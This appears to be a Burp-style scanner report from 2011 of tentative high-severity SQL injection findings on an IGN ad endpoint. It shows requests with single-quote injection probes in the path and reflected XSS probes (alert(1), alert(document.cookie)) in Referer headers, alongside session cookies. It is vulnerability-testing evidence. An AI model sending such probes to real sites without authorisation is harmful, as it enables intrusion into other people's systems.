GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=77682&FlightID=71656&TargetID=14594&EntityDefResetFlag=0&C=0&Segments=7,349,2747,3493,3976,3984,4172,4602,4603,4723,4917,4929,5718,5749,5906,6102,6382,6573,6652,6673,6990,7102,7396,7752,7888,9598,11754,11908,14845,15232,16249,16251,17904,22099,22154,22854,23425,23427,23429,23472,23479,23480,23493&Targets=28681,6820,6905,6669,14594&Values=25,31,43,60,72,80,91,101,110,150,152,235,248,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=crblguo,bguRqRgbdmoWm HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:10 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=77682&FlightID=71656&TargetID=14594&EntityDefResetFlag=0&C=0&Segments=7,349,2747,3493,3976,3984,4172,4602,4603,4723,4917,4929,5718,5749,5906,6102,6382,6573,6652,6673,6990,7102,7396,7752,7888,9598,11754,11908,14845,15232,16249,16251,17904,22099,22154,22854,23425,23427,23429,23472,23479,23480,23493&Targets=28681,6820,6905,6669,14594&Values=25,31,43,60,72,80,91,101,110,150,152,235,248,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=crblguo,bguRqRgbdmoWm HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:10 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=8927&FlightID=7790&TargetID=6669&EntityDefResetFlag=0&C=0&Segments=7,26,349,2747,3493,3976,3984,4172,4602,4603,4723,4917,4929,5718,5749,5906,6102,6382,6573,6652,6673,6990,7102,7396,7752,7888,9598,11754,11908,14845,15232,16249,16251,17904,22099,22154,22854,23370,23425,23427,23472,23479,23480,23493&Targets=6846,28681,6820,6905,6669,14594&Values=25,31,43,60,72,80,91,101,110,150,152,235,248,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=ccetvte,bguRrfrbdmWaa

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=8927&FlightID=7790&TargetID=6669&EntityDefResetFlag=0&C=0&Segments=7,26,349,2747,3493,3976,3984,4172,4602,4603,4723,4917,4929,5718,5749,5906,6102,6382,6573,6652,6673,6990,7102,7396,7752,7888,9598,11754,11908,14845,15232,16249,16251,17904,22099,22154,22854,23370,23425,23427,23472,23479,23480,23493&Targets=6846,28681,6820,6905,6669,14594&Values=25,31,43,60,72,80,91,101,110,150,152,235,248,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=ccetvte,bguRrfrbdmWaa HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.2.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:35 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=8927&FlightID=7790&TargetID=6669&EntityDefResetFlag=0&C=0&Segments=7,26,349,2747,3493,3976,3984,4172,4602,4603,4723,4917,4929,5718,5749,5906,6102,6382,6573,6652,6673,6990,7102,7396,7752,7888,9598,11754,11908,14845,15232,16249,16251,17904,22099,22154,22854,23370,23425,23427,23472,23479,23480,23493&Targets=6846,28681,6820,6905,6669,14594&Values=25,31,43,60,72,80,91,101,110,150,152,235,248,471,531,757,912,1187,1405,1481,1508,1594,1824,2336,3091,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=ccetvte,bguRrfrbdmWaa HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(document.cookie)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; __utmb=173446715.2.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c06-15003-1306593845-5; i18n-cc=US; freq=c-1297040561490v-1n-12mc+1297040561491mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:35 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=8927&FlightID=7790&TargetID=6669&EntityDefResetFlag=0&C=0&Segments=7,26,349,2747,3493,3976,3984,4172,4602,4603,4723,4917,4929,5718,5749,5906,6102,6382,6573,6652,6673,6990,7102,7396,7752,7888,9598,11754,11908,14845,15232,16249,16251,17904,22099,22154,22854,23370,23425,23427,23472,23479,23480,23493&Targets=6846,28681,6820,6905,6669,14594&Values=25,31,43,60,72,80,91,101,110,150,152,235,248,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=beykRvw,bguRragewbmAj

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=8927&FlightID=7790&TargetID=6669&EntityDefResetFlag=0&C=0&Segments=7,26,349,2747,3493,3976,3984,4172,4602,4603,4723,4917,4929,5718,5749,5906,6102,6382,6573,6652,6673,6990,7102,7396,7752,7888,9598,11754,11908,14845,15232,16249,16251,17904,22099,22154,22854,23370,23425,23427,23472,23479,23480,23493&Targets=6846,28681,6820,6905,6669,14594&Values=25,31,43,60,72,80,91,101,110,150,152,235,248,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=beykRvw,bguRragewbmAj HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:28 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=8927&FlightID=7790&TargetID=6669&EntityDefResetFlag=0&C=0&Segments=7,26,349,2747,3493,3976,3984,4172,4602,4603,4723,4917,4929,5718,5749,5906,6102,6382,6573,6652,6673,6990,7102,7396,7752,7888,9598,11754,11908,14845,15232,16249,16251,17904,22099,22154,22854,23370,23425,23427,23472,23479,23480,23493&Targets=6846,28681,6820,6905,6669,14594&Values=25,31,43,60,72,80,91,101,110,150,152,235,248,471,531,757,912,1187,1405,1481,1508,1594,2336,3091,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=beykRvw,bguRragewbmAj HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/?7f8bd%22-alert(1)-%2257a543695b9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmc=173446715; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; s_pers=%20s_nr%3D1297040551494%7C1299632551494%3B%20s_lv%3D1297040551496%7C1391648551496%3B%20s_lv_s%3DFirst%2520Visit%7C1297042351496%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Awww.ign.com%3B%20s_c13%3Dmy.ign.com%253Awww.ign.com%3B%20s_sq%3D%3B; __utmb=173446715.1.10.1297040497; rsi_segs=10089; decc=US; NGUserID=a016c09-19918-1173906965-3; i18n-cc=US; freq=c-1297040390930v-1n-12mc+1297040390930mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:28 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=99945&FlightID=90834&TargetID=16207&EntityDefResetFlag=0&C=0&Segments=4,108,268,352,1240,2091,2094,2747,2861,3491,3978,4112,4602,4603,4723,4882,4917,4941,4952,4968,5025,5046,5052,5718,5749,5906,6102,6382,6573,6616,6669,6700,6703,7102,7396,7752,7888,8587,9109,9598,10821,11070,11754,13182,14845,15232,16249,16251,16339,17586,17863,19173,19554,19557,20860,20903,20945,20946,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=6554,6851,8078,9129,6821,8525,9481,7677,24547,7478,6659,10619,13442,13537,16207,22191,24028,24020&Values=25,31,43,60,72,80,91,101,110,150,152,235,264,448,531,757,912,1187,1405,1481,1508,1594,1824,2250,2868,3932,4056,4662,4799,5999,6623,8151,8978,41899,59328,61583,61766,65373&RawValues=&random=Isllrd,bguRrblewbsuu

Issue detail

Request 1

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:43:54 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:43:54 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:43:54 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
Path:	/event.ng/Type=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=99945&FlightID=90834&TargetID=16207&EntityDefResetFlag=0&C=0&Segments=4,108,268,352,1240,2091,2094,2747,2861,3491,3978,4112,4602,4603,4723,4882,4917,4941,4952,4968,5025,5046,5052,5718,5749,5906,6102,6382,6573,6616,6669,6700,6703,7102,7396,7752,7888,8587,9109,9598,10821,11070,11754,13182,14845,15232,16249,16251,16339,17586,17863,19173,19554,19557,20860,20903,20945,20946,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=6554,6851,8078,9129,6821,8525,9481,7677,24547,7478,6659,10619,13442,13537,16207,22191,24028,24020&Values=25,31,43,60,72,80,91,101,110,150,152,235,264,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bIdRvss,bguRqRgbdmoWp

Issue detail

Request 1

GET /event.ng/Type'=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=99945&FlightID=90834&TargetID=16207&EntityDefResetFlag=0&C=0&Segments=4,108,268,352,1240,2091,2094,2747,2861,3491,3978,4112,4602,4603,4723,4882,4917,4941,4952,4968,5025,5046,5052,5718,5749,5906,6102,6382,6573,6616,6669,6700,6703,7102,7396,7752,7888,8587,9109,9598,10821,11070,11754,13182,14845,15232,16249,16251,16339,17586,17863,19173,19554,19557,20860,20903,20945,20946,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=6554,6851,8078,9129,6821,8525,9481,7677,24547,7478,6659,10619,13442,13537,16207,22191,24028,24020&Values=25,31,43,60,72,80,91,101,110,150,152,235,264,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bIdRvss,bguRqRgbdmoWp HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 1

HTTP/1.1 500 Internal Server Error
Server: Apache/2.2.16 (Unix)
Content-Length: 544
nnCoection: close
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 07 Feb 2011 01:44:12 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
mis
...[SNIP]...

Request 2

GET /event.ng/Type''=count&ClientType=2&ASeg=&AMod=&AOpt=0&AdID=99945&FlightID=90834&TargetID=16207&EntityDefResetFlag=0&C=0&Segments=4,108,268,352,1240,2091,2094,2747,2861,3491,3978,4112,4602,4603,4723,4882,4917,4941,4952,4968,5025,5046,5052,5718,5749,5906,6102,6382,6573,6616,6669,6700,6703,7102,7396,7752,7888,8587,9109,9598,10821,11070,11754,13182,14845,15232,16249,16251,16339,17586,17863,19173,19554,19557,20860,20903,20945,20946,22099,22854,23425,23427,23429,23472,23479,23480,23493&Targets=6554,6851,8078,9129,6821,8525,9481,7677,24547,7478,6659,10619,13442,13537,16207,22191,24028,24020&Values=25,31,43,60,72,80,91,101,110,150,152,235,264,448,531,757,912,1187,1405,1481,1508,1594,2250,2868,3481,3932,4056,4662,4799,5999,6623,8150,8978,41899,58049,59328,61583,61766,65373&RawValues=&random=bIdRvss,bguRqRgbdmoWp HTTP/1.1
Host: de.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(1)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326084499542327&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715; __utmc=173446715; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; i18n-cc=US; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; optimizelyBuckets=%7B%7D

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache/2.2.16 (Unix)
Content-Length: 0
Location: http://ads.ign.com/advertisers/ign/1x1transparent.png
Content-Type: text/html
Expires: Mon, 07 Feb 2011 01:44:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:44:12 GMT
Connection: close
Vary: Accept-Encoding

Summary

Severity:	High
Confidence:	Tentative
Host:	http://de.ign.com
